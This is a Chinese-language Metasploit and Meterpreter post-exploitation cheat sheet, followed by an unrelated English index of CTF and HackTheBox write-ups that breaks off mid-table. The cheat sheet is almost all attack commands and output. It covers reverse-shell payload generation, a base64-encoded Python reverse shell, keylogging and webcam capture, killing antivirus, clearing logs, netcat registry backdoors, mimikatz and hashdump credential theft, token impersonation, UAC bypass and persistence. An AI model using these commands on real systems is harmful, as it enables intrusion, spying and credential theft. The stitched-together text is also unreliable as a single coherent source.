linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f elf > shell.elf 正向连接: msfvenom -p linux/x64/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=808 -f elf > shell.elf ``` Windows ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f exe > shell.exe ``` Mac ```bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f macho > shell.macho ``` PHP ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php ``` ASP ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f asp > shell.asp ``` JSP ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f raw > shell.jsp ``` WAR ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f war > shell.war ``` 执行方式:将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行: ```bash php shell.php ``` 3.脚本shell Python ```bash msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=808 -f raw > shell.py ``` Bash ```bash msfvenom -p cmd/unix/reverse_bash LHOST=127.0.0.1 LPORT=808 -f raw > shell.sh ``` Perl ```bash msfvenom -p cmd/unix/reverse_perl LHOST=127.0.0.1 LPORT=808 -f raw > shell.pl ``` 执行方式:复制shell.py中的内容在linux命令行下执行: ``` python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))" ``` 4.shellcode Linux Based Shellcode ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f <language> ``` Windows Based Shellcode ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=808 -f <language> ``` Mac Based Shellcode ```bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=808 -f <language> ``` ## Meterpreter基本命令 首先需要先获取meterpreter: ```bash use exploit/multi/handler set payload windows/meterpreter/reverse_tcp #set payload linux/x64/meterpreter/reverse_tcp set LHOST 0.0.0.0 set lPORT 6789 set ExitOnSession false exploit -j -z # -j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互) jobs # 查看后台攻击任务 kill <id> # 停止某后台攻击任务 sessions -l # (查看会话) sessions -i 2 # 选择会话 sessions -k 2 # 结束会话 ``` 如果先获取了cmd,比如利用ms17-010,默认使用的payload返回的就是cmd。这时候我们可以使用`sessions-u 2`来将cmdshell升级成meterpreter。 获取到了meterpreter,就可以进行后渗透了。 ### 基本系统命令 ```bash # 会话管理 background #将当前会话放置后台 sessions # 查看会话 sessions -i # 切换会话 quit # 关闭当前的会话,返回msf终端 # 系统设置 sysinfo # 查看目标机系统信息 idletime # 查看目标机闲置时间 reboot/shutdown # 重启/关机 # shell shell # 获得控制台权限 irb # 进入ruby终端 # 进程迁移 getpid # 获取当前进程的pid ps # 查看当前活跃进程 migrate <pid值> #将Meterpreter会话移植到指定pid值进程中 kill <pid值> #杀死进程 migrate <pid值> #将Meterpreter会话移植到指定pid值进程中 # 执行文件 execute #在目标机中执行文件 execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互 # 摄像头命令 webcam_list #查看摄像头列表 webcam_chat # 查看摄像头接口 webcam_snap #通过摄像头拍照 webcam_stream #通过摄像头开启视频 # uictl开关键盘/鼠标 uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标 uictl disable mouse #禁用鼠标 uictl disable keyboard #禁用键盘 # 远程桌面/截屏 enumdesktops #查看可用的桌面 getdesktop #获取当前meterpreter 关联的桌面 screenshot #截屏 use espia #或者使用espia模块截屏 然后输入screengrab run vnc #使用vnc远程桌面连接 # 键盘记录 keyscan_start #开始键盘记录 keyscan_dump #导出记录数据 keyscan_stop #结束键盘记录 # 添加用户,开启远程桌面 # 开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令 run post/windows/manage/enable_rdp #开启远程桌面 run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户 run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662 # 关闭防病毒软件 run killav run post/windows/manage/killav # 修改注册表 reg –h # 注册表命令帮助 upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看键值 nc -v 192.168.81.162 443 #攻击者连接nc后门 # 清理日志 clearav #清除windows中的应用程序日志、系统日志、安全日志 ``` ### 文件系统命令 ```bash cat/ls/cd/rm # 基本命令 search -f *pass* -d C:\\windows # 搜索文件 -h查看帮助 getwd/pwd # 获取当前目录 getlwd/lpwd # 操作攻击者主机 查看当前目录 upload /tmp/hack.txt C:\\lltest # 上传文件 download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件 edit c:\\1.txt # 编辑或创建文件 没有的话,会新建文件 mkdir lltest2 # 只能在当前目录下创建文件夹 rmdir lltest2 # 只能删除当前目录下文件夹 lcd /tmp # 操作攻击者主机 切换目录 # timestomp伪造文件时间戳 timestomp C:// -h #查看帮助 timestomp -v C://2.txt #查看时间戳 timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt ``` ### 网络命令 ```bash # 基本 ipconfig/ifconfig netstat –ano arp getproxy #查看代理信息 route #查看路由 # portfwd端口转发 portfwd add -l 6666 -p 3389 -r 127.0.0.1 # 将目标机的3389端口转发到本地6666端口 rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接,-u 用户名 -p 密码 # 添加路由 # 方式一autoroute (deprecated) run autoroute –h #查看帮助 run autoroute -s 192.168.2.0/24 #添加到目标环境网络 run autoroute –p #查看添加的路由 # 方式二post/multi/manage/autoroute run post/multi/manage/autoroute CMD=autoadd #自动添加到目标环境网络 run post/multi/manage/autoroute CMD=print # 查看添加的路由 (Specify the autoroute command (Accepted: add, autoadd, print, delete, default)) # 然后可以利用arp_scanner、portscan等进行存活检测 run arp_scanner -r 192.168.2.0/24 run post/multi/gather/ping_sweep RHOSTS=192.168.2.0/24 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.2.0 # autoroute添加完路由后,还可以利用msf自带的模块进行socks代理 # msf提供了2个模块用来做socks代理。 # auxiliary/server/socks_proxy # use auxiliary/server/socks_unc # 先background退出来,然后: use auxiliary/server/socks_proxy set srvhost 127.0.0.1 set srvport 1080 run # 然后vi /etc/proxychains.conf #添加 socks5 127.0.0.1 1080 # 最后proxychains 使用Socks5代理访问 # sniffer抓包 use sniffer sniffer_interfaces #查看网卡 sniffer_start 2 #选择网卡 开始抓包 sniffer_stats 2 #查看状态 sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包 sniffer_stop 2 #停止抓包 ``` ### 信息收集 ```bash # 信息收集的脚本位于: # modules/post/windows/gather # modules/post/linux/gather # 以下列举一些常用的 run post/windows/gather/checkvm #是否虚拟机 run post/linux/gather/checkvm #是否虚拟机 run post/windows/gather/forensics/enum_drives #查看分区 run post/windows/gather/enum_applications #获取安装软件信息 run post/windows/gather/dumplinks #获取最近的文件操作 run post/windows/gather/enum_ie #获取IE缓存 run post/windows/gather/enum_chrome #获取Chrome缓存 run post/windows/gather/enum_patches #补丁信息 run post/windows/gather/enum_domain #查找定位域控 run post/windows/gather/enum_logged_on_users #登录过的用户 ``` ### 提权 1.getsystem提权 getsystem工作原理: ①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。 ②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。 ③Windows服务已启动,导致与命名管道建立连接。 ④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。 然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。 ```bash getsystem ``` 2.bypassuac 用户帐户控制(UAC)是微软在 Windows Vista 以后版本引入的一种安全机制,有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装,并防止无意中更改系统设置。 msf提供了如下几个模块帮助绕过UAC: ```bash msf5 auxiliary(server/socks5) > search bypassuac Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC Protection Bypass 1 exploit/windows/local/bypassuac_comhijack 1900-01-01 excellent Yes Windows Escalate UAC Protection Bypass (Via COM Handler Hijack) 2 exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Yes Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key) 3 exploit/windows/local/bypassuac_fodhelper 2017-05-12 excellent Yes Windows UAC Protection Bypass (Via FodHelper Registry Key) 4 exploit/windows/local/bypassuac_injection 2010-12-31 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) 5 exploit/windows/local/bypassuac_injection_winsxs 2017-04-06 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS 6 exploit/windows/local/bypassuac_sluihijack 2018-01-15 excellent Yes Windows UAC Protection Bypass (Via Slui File Handler Hijack) 7 exploit/windows/local/bypassuac_vbs 2015-08-22 excellent No Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability) ``` 使用方法类似,运行后返回一个新的会话,**需要再次执行getsystem获取系统权限** ```bash # 示例 meterpreter > getuid Server username: SAUCERMAN\TideSec meterpreter > background [*] Backgrounding session 4... msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac msf5 exploit(windows/local/bypassuac) > set SESSION 4 SESSION => 4 msf5 exploit(windows/local/bypassuac) > run [-] Handler failed to bind to 192.168.81.160:4444:- - [-] Handler failed to bind to 0.0.0.0:4444:- - [*] UAC is Enabled, checking level... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... [+] Part of Administrators group! Continuing... [*] Uploaded the agent to the filesystem.... [*] Uploading the bypass UAC executable to the filesystem... [*] Meterpreter stager executable 73802 bytes long being uploaded.. [*] Sending stage (206403 bytes) to 192.168.81.154 [*] Meterpreter session 5 opened (192.168.81.160:4444 -> 192.168.81.154:1134) at 2019-06-12 06:31:11 -0700 [-] Exploit failed [timeout-expired]: Timeout::Error execution expired [*] Exploit completed, but no session was created. # 然后返回新的meterpreter会话,继续执行getsystem本应该会提权成功 # 然鹅这里失败了 ``` 3.内核漏洞提权 无论是linux还是windows都出过很多高危的漏洞,我们可以利用它们进行权限提升,比如windows系统的ms13-081、ms15-051、ms16-032、ms17-010等,msf也集成了这些漏洞的利用模块。 ```bash meterpreter > run post/windows/gather/enum_patches #查看补丁信息 msf5 > use exploit/windows/local/ms13_053_schlamperei msf5 > set SESSION 2 msf5 > exploit # 示例 meterpreter > run post/windows/gather/enum_patches [+] KB2871997 is missing [+] KB2928120 is missing [+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86) [+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008 [+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2 [+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity [+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1 [+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1 meterpreter > background [*] Backgrounding session 4... msf5 exploit(windows/local/bypassuac) > search MS13-081 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/local/ms13_081_track_popup_menu 2013-10-08 average Yes Windows TrackPopupMenuEx Win32k NULL Page msf5 exploit(windows/local/bypassuac) > use exploit/windows/local/ms13_081_track_popup_menu msf5 exploit(windows/local/ms13_081_track_popup_menu) > set session 4 session => 4 msf5 exploit(windows/local/ms13_081_track_popup_menu) > exploit [!] SESSION may not be compatible with this module. [-] Handler failed to bind to 192.168.81.160:4444:- - [-] Handler failed to bind to 0.0.0.0:4444:- - [-] Exploit aborted due to failure: no-target: Running against 64-bit systems is not supported [*] Exploit completed, but no session was created. # 然鹅失败了,摸摸头 ``` ### 获取凭证 在内网环境中,一个管理员可能管理多台服务器,他使用的密码有可能相同或者有规律,如果能够得到密码或者hash,再尝试登录内网其它服务器,可能取得意想不到的效果。 1.使用mimikatz ```bash load mimikatz #help mimikatz 查看帮助 wdigest #获取Wdigest密码 mimikatz_command -f samdump::hashes #执行mimikatz原始命令 mimikatz_command -f sekurlsa::searchPasswords # 示例 meterpreter > load mimikatz Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead? Success. meterpreter > wdigest [!] Not currently running as SYSTEM [*] Attempting to getprivs ... [+] Got SeDebugPrivilege. [*] Retrieving wdigest credentials wdigest credentials =================== AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;996 Negotiate WORKGROUP SAUCERMAN$ 0;48748 NTLM 0;999 NTLM WORKGROUP SAUCERMAN$ 0;476238 NTLM SAUCERMAN TideSec 123456 0;476209 NTLM SAUCERMAN TideSec 123456 meterpreter > mimikatz_command -f samdump::hashes Ordinateur : saucerman BootKey : 691cff33caf49e933be97fcee370256a RegOpenKeyEx SAM : (0x00000005) �ݿ� Erreur lors de l'exploration du registre meterpreter > mimikatz_command -f sekurlsa::searchPasswords [0] { TideSec ; SAUCERMAN ; 123456 } [1] { TideSec ; SAUCERMAN ; 123456 } [2] { SAUCERMAN ; TideSec ; 123456 } [3] { SAUCERMAN ; TideSec ; 123456 } [4] { TideSec ; SAUCERMAN ; 123456 } [5] { TideSec ; SAUCERMAN ; 123456 } ``` 1. 使用meterpreter的run hashdump命令 ```bash meterpreter > run hashdump [!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump. [!] Example: run post/windows/gather/smart_hashdump OPTION=value [...] [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 691cff33caf49e933be97fcee370256a... /opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:134: warning: constant OpenSSL::Cipher::Cipher is deprecated [*] Obtaining the user list and keys... [*] Decrypting user keys... /opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:268: warning: constant OpenSSL::Cipher::Cipher is deprecated /opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:272: warning: constant OpenSSL::Cipher::Cipher is deprecated /opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:279: warning: constant OpenSSL::Cipher::Cipher is deprecated [*] Dumping password hints... TideSec:"123456" [*] Dumping password hashes... Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: TideSec:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: ``` 3.post/windows/gather/smart_hashdump 从上面也可以看出官方推荐`post/windows/gather/smart_hashdump` ```bash meterpreter > run post/windows/gather/smart_hashdump [*] Running module against SAUCERMAN [*] Hashes will be saved to the database if one is connected. [+] Hashes will be saved in loot in JtR password file format to: [*] /home/ubuntu/.msf4/loot/20190612084715_default_192.168.81.154_windows.hashes_439550.txt [*] Dumping password hashes... [*] Running as SYSTEM extracting hashes from registry [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 691cff33caf49e933be97fcee370256a... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... [+] TideSec:"123456" [*] Dumping password hashes... [+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [+] TideSec:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4::: ``` 4.powerdump 同 hashdump,但失败了 ```bash meterpreter > run powerdump [*] PowerDump v0.1 - PowerDump to extract Username and Password Hashes... [*] Running PowerDump to extract Username and Password Hashes... [*] Uploaded PowerDump as 69921.ps1 to %TEMP%... [*] Setting ExecutionPolicy to Unrestricted... [*] Dumping the SAM database through PowerShell... [-] Could not execute powerdump: Rex::Post::Meterpreter::RequestError core_channel_open: Operation failed: The system cannot find the file specified. ``` ### 假冒令牌 在用户登录windows操作系统时,系统都会给用户分配一个令牌(Token),当用户访问系统资源时都会使用这个令牌进行身份验证,功能类似于网站的session或者cookie。 msf提供了一个功能模块可以让我们假冒别人的令牌,实现身份切换,如果目标环境是域环境,刚好域管理员登录过我们已经有权限的终端,那么就可以假冒成域管理员的角色。 ```bash # 1.incognito假冒令牌 use incognito #help incognito 查看帮助 list_tokens -u #查看可用的token impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token 或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\ execute -f cmd.exe -i –t # -t 使用假冒的token 执行 或者直接shell rev2self #返回原始token # 2.steal_token窃取令牌 steal_token <pid值> #从指定进程中窃取token 先ps,找域控进程 drop_token #删除窃取的token ``` ### 植入后门 Meterpreter仅仅是在内存中驻留的Shellcode,只要目标机器重启就会丧失控制权,下面就介绍如何植入后门,维持控制。 1.persistence启动项后门 路径:metasploit/scripts/meterpreter/persistence 原理是在`C:\Users***\AppData\Local\Temp\`目录下,上传一个vbs脚本,在注册表`HKLM\Software\Microsoft\Windows\CurrentVersion\Run\`加入开机启动项,**很容易被杀软拦截,官方不推荐** ```bash run persistence –h #查看帮助 run persistence -X -i 5 -p 4444 -r 192.168.81.160 #-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip # 示例 meterpreter > run persistence -X -i 5 -p 4444 -r 192.168.81.160 [!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe. [!] Example: run post/windows/manage/persistence_exe OPTION=value [...] [*] Running Persistence Script [*] Resource file for cleanup created at /home/ubuntu/.msf4/logs/persistence/SAUCERMAN_20190612.4235/SAUCERMAN_20190612.4235.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.81.160 LPORT=4444 [*] Persistent agent script is 99630 bytes long [+] Persistent Script written to C:\Users\TideSec\AppData\Local\Temp\qexwcMF.vbs [*] Executing script C:\Users\TideSec\AppData\Local\Temp\qexwcMF.vbs [+] Agent executed with PID 3540 [*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\qrsXZuPqVbEgua [+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\qrsXZuPqVbEgua ``` 能实现同样功能的脚本还有:exploit/windows/local/persistence 2.metsvc服务后门 在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本 在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项。**通过服务启动,需要管理员权限,官方不推荐使用,运行失败** ```bash run metsvc –A #自动安装后门 # 示例 meterpreter > run metsvc –A [!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe. [!] Example: run post/windows/manage/persistence_exe OPTION=value [...] [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\Users\TideSec\AppData\Local\Temp\iInvhjKZbLH... [*] >> Uploading metsrv.x86.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... Cannot open service manager (0x00000005) meterpreter > ls Listing: C:\Users\TideSec\AppData\Local\Temp\iInvhjKZbLH ======================================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 178688 fil 2019-06-12 06:46:20 -0700 metsrv.dll 100777/rwxrwxrwx 45056 fil 2019-06-12 06:46:21 -0700 metsvc-server.exe 100777/rwxrwxrwx 61440 fil 2019-06-12 06:46:21 -0700 metsvc.exe ``` 三个文件上传成功,但服务没有启动起来,失败了。使用`-r`参数可卸载服务。 3.persistence_exe 再来看看官方推荐的东西吧 ```bash meterpreter > info post/windows/manage/persistence_exe Name: Windows Manage Persistent EXE Payload Installer Module: post/windows/manage/persistence_exe Platform: Windows Arch: Rank: Normal Provided by: Merlyn drforbin Cousins <[email protected]> Compatible session types: Meterpreter Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- REXENAME default.exe yes The name to call exe on remote system REXEPATH yes The remote executable to upload and execute. SESSION yes The session to run this module on. STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE) Description: This Module will upload an executable to a remote host and make it Persistent. It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login, SYSTEM will start on system boot but requires privs. SERVICE will create a new service which will start the payload. Again requires privs. Module options (post/windows/manage/persistence_exe): Name Current Setting Required Description ---- --------------- -------- ----------- REXENAME default.exe yes The name to call exe on remote system REXEPATH yes The remote executable to upload and execute. SESSION yes The session to run this module on. STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE) ``` 此模块将可执行文件上载到远程主机并进行创建持久性。 涉及到四个参数 - REXENAME是拷贝到目标系统中的名字 - EXEPATH是将要上传的后门在本地的位置 - SESSION是选择运行此模块的会话 - STARTUP是启动类型,有USER、SYSTEM、SERVICE这三种取值,USER表示为将在用户登录时启动,SYSTEM表示将在系统启动时启动(需要权限),SERVICE表示将创建一个启动服务项(需要权限)。 尝试一下: ```bash meterpreter > run post/windows/manage/persistence_exe REXENAME=backdoor.exe REXEPATH=/home/ubuntu/shell.exe STARTUP=USER [*] Running module against SAUCERMAN [*] Reading Payload from file /home/ubuntu/shell.exe [+] Persistent Script written to C:\Users\TideSec\AppData\Local\Temp\backdoor.exe [*] Executing script C:\Users\TideSec\AppData\Local\Temp\backdoor.exe [+] Agent executed with PID 3684 [*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\mEMZDQOxkkeebI [+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\mEMZDQOxkkeebI [*] Cleanup Meterpreter RC File: /home/ubuntu/.msf4/logs/persistence/SAUCERMAN_20190612.1023/SAUCERMAN_20190612.1023.rc ``` 4.registry_persistence 完整路径为exploit/windows/local/registry_persistence 和第一种方法类似,此模块将会安装一个payload到注册表的启动项中。 ```bash meterpreter > background [*] Backgrounding session 13... msf5 auxiliary(server/socks5) > use exploit/windows/local/registry_persistence msf5 exploit(windows/local/registry_persistence) > show options Module options (exploit/windows/local/registry_persistence): Name Current Setting Required Description ---- --------------- -------- ----------- BLOB_REG_KEY no The registry key to use for storing the payload blob. (Default: random) BLOB_REG_NAME no The name to use for storing the payload blob. (Default: random) CREATE_RC true no Create a resource file for cleanup RUN_NAME no The name to use for the 'Run' key. (Default: random) SESSION yes The session to run this module on. SLEEP_TIME 0 no Amount of time to sleep (in seconds) before executing payload. (Default: 0) STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM) Exploit target: Id Name -- ---- 0 Automatic msf5 exploit(windows/local/registry_persistence) > set SESSION 13 SESSION => 13 msf5 exploit(windows/local/registry_persistence) > run [*] Generating payload blob.. [+] Generated payload, 6048 bytes [*] Root path is HKCU [*] Installing payload blob.. [+] Created registry key HKCU\Software\0BaG3zDR [+] Installed payload blob to HKCU\Software\0BaG3zDR\iiEB4InD [*] Installing run key [+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SMPqA5kB [*] Clean up Meterpreter RC file: /home/ubuntu/.msf4/logs/persistence/192.168.81.154_20190612.2138/192.168.81.154_20190612.2138.rc ``` 同类型的还有其他payload,如exploit/windows/local/vss_persistence,exploit/windows/local/s4u_persistence。 # cs大全 cs派生msf ```bash msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_http msf exploit(handler) > set lhost 192.168.0.143 msf exploit(handler) > set lport 4444 msf exploit(handler) > exploit cs创建一个windows/foreign/reverse_http的 Listener 然后选中对应机器,右键->Spawn,选择刚刚创建的监听器。 ```
# CTF / Hacking Practice ## [gameofhacks](https://www.gameofhacks.com/) * Multiple choice-based source code review ## [hbh](https://hbh.sh/challenges) ## [hackthebox](https://app.hackthebox.eu/) ### boxes | Machines | Difficulty | Write-up | Vulnerabilities | | :--- | :---: | :--- | :-- | | Luke | Medium | [Read](https://medium.com/@bigb0ss/htb-luke-write-up-77aa52320250) | | | SwagShop | Easy | [Read](https://medium.com/@bigb0ss/htb-swagshop-write-up-50a560aa7a56?sk=8bc4c4a5bbf0707c158d1305f3e0143d) | | | JSON | Medium | [Read](https://medium.com/@bigb0ss/htb-json-write-up-6f91f89bcbf1) | | | Zetta | Hard | [Read](https://medium.com/@bigb0ss/htb-zetta-write-up-be2fff5e2305) | | | Scavenger | Hard | [Read](https://medium.com/@bigb0ss/htb-scavenger-write-up-fee11d971774) | Whois SQLi, Rootkit, Exim SMTP 4.8.9 Exploit | | Postman | Easy | [Read](https://medium.com/@bigb0ss/htb-postman-write-up-34bc4fe5daa) | Redis Service Abuse, Webmin CVE 2019-12840 | | Registry | Hard | [Read](https://medium.com/@bigb0ss/htb-registry-write-up-b4255bd78712) | Docker Registry API, Restic backups | | Mango | Medium | [Read](https://medium.com/@bigb0ss/htb-mango-write-up-52fdd7e67cc6) | NoSQL Injection, SUID Abuse (GTFobins) | | Obscurity | Medium | [Read](https://medium.com/@bigb0ss/htb-obscurity-write-up-bc65f61cd255) | Python Web Server | | Forest | Easy | [Read](https://medium.com/@bigb0ss/htb-forest-write-up-fdd45e8e73bf) | AS-REP Roasting, Exchange AD Exploitation | | Blunder | Easy | [Read](https://bigb0sss.github.io/posts/htb-blunder-writeup/) | Bludit CMS Exploit, Sudo Bypass | | Cache | Medium | [Read](https://bigb0sss.github.io/posts/htb-cache-writeup/) | OpenEMR, SQLi, Memcached, Doker | | Mischief | Insane | [Read](https://bigb0sss.github.io/posts/htb-mischief-writeup/) | SNMP, IPv6, ICMP Info Leak, Systemd-run | | Tabby | Easy | [Read](https://bigb0sss.github.io/posts/htb-tabby-writeup/) | LFI, Tomcat, zip2john, LXD, Container | | Valentine | Easy | [Read](https://bigb0sss.github.io/posts/htb-valentine-writeup/) | OpenSSL, Heartbleed, Tmux | | Bounty | Easy | [Read](https://bigb0sss.github.io/posts/htb-bounty-writeup/) | Web.config RCE, Juicy Potato | | Frolic | Easy | [Read](https://bigb0sss.github.io/posts/htb-frolic-writeup/) | Frackzip, playSMS RCE, ret2libc | | Previse | Easy | [Read](https://github.com/bigb0sss/CTF_HTB-Writeups-Scripts/blob/master/htb_boxes/Linux/1-Easy/previse/README.md) | PHP EAR Vulnerability, Command Injection, Path Injection Prevesc | | Love | Easy | [Read](https://github.com/bigb0sss/CTF_HTB-Writeups-Scripts/tree/master/htb_boxes/Windows/1-Easy/love) | SSRF, Voting System 1.0 RCE (Authenticated Upload Arbitrary FIle), AlwaysInstallElevated Registry Key Privesc | ### challenges | Web Challenge | Difficulty | | | :--- | :---: | :--- | | Emdee Five for Life | Easy | [Write-up](https://medium.com/@bigb0ss/htb-web-challenge-emdee-five-for-life-56cb0ddfd63f) | <br /> ## Protostar Walkthrough ([Exploit Exercise](http://exploit-exercises.lains.space/protostar/)) |Module |Link |Note | | :--- | :--- | :--- | |Stack0 |[Stack BOF Intro](https://medium.com/@bigb0ss/expdev-exploit-exercise-protostar-stack0-214e8cbccb04) |Basic buffer overflow abusing gets() function | |Stack1 |[Stack BOF Basic1](https://medium.com/@bigb0ss/expdev-exploit-exercise-protostar-stack1-2f28302559fc) |Basic buffer overflow abusing strcpy() function | |Stack2 |[Stack BOF Basic2](https://medium.com/@bigb0ss/expdev-exploit-exercise-protostar-stack2-d6cb2e467853) |Basic buffer overflow abusing strcpy() function | |Stack3 |[Stack BOF Basic3](https://medium.com/@bigb0ss/expdev-exploit-exercise-protostar-stack3-7db54291f867) |Basic buffer overflow abusing gets() function | |Stack4 |[Stack BOF Basic4](https://medium.com/@bigb0ss/expdev-exploit-exercise-protostar-stack-4-bde92b7b6b38) |Basic buffer overflow abusing gets() function | |Stack5 |[Stack BOF Shellcode](https://medium.com/bugbountywriteup/expdev-exploit-exercise-protostar-stack-5-c8d085c914e6) | Stack-based buffer overflow to get a root shell | |Stack6 |[Stack BOF ret2libc](https://medium.com/@bigb0ss/expdev-exploit-exercise-protostar-stack-6-ef75472ec7c6) |Stack-based bufferoverflow + ret2libc | |Stack7 |[Stack BOF ret2.text](https://medium.com/@bigb0ss/expdev-exploit-exercise-protostar-stack-7-fea3ac85ffe7) |Stack-based bufferoverflow + ret2.text | |Format0 |[Format String Exploit 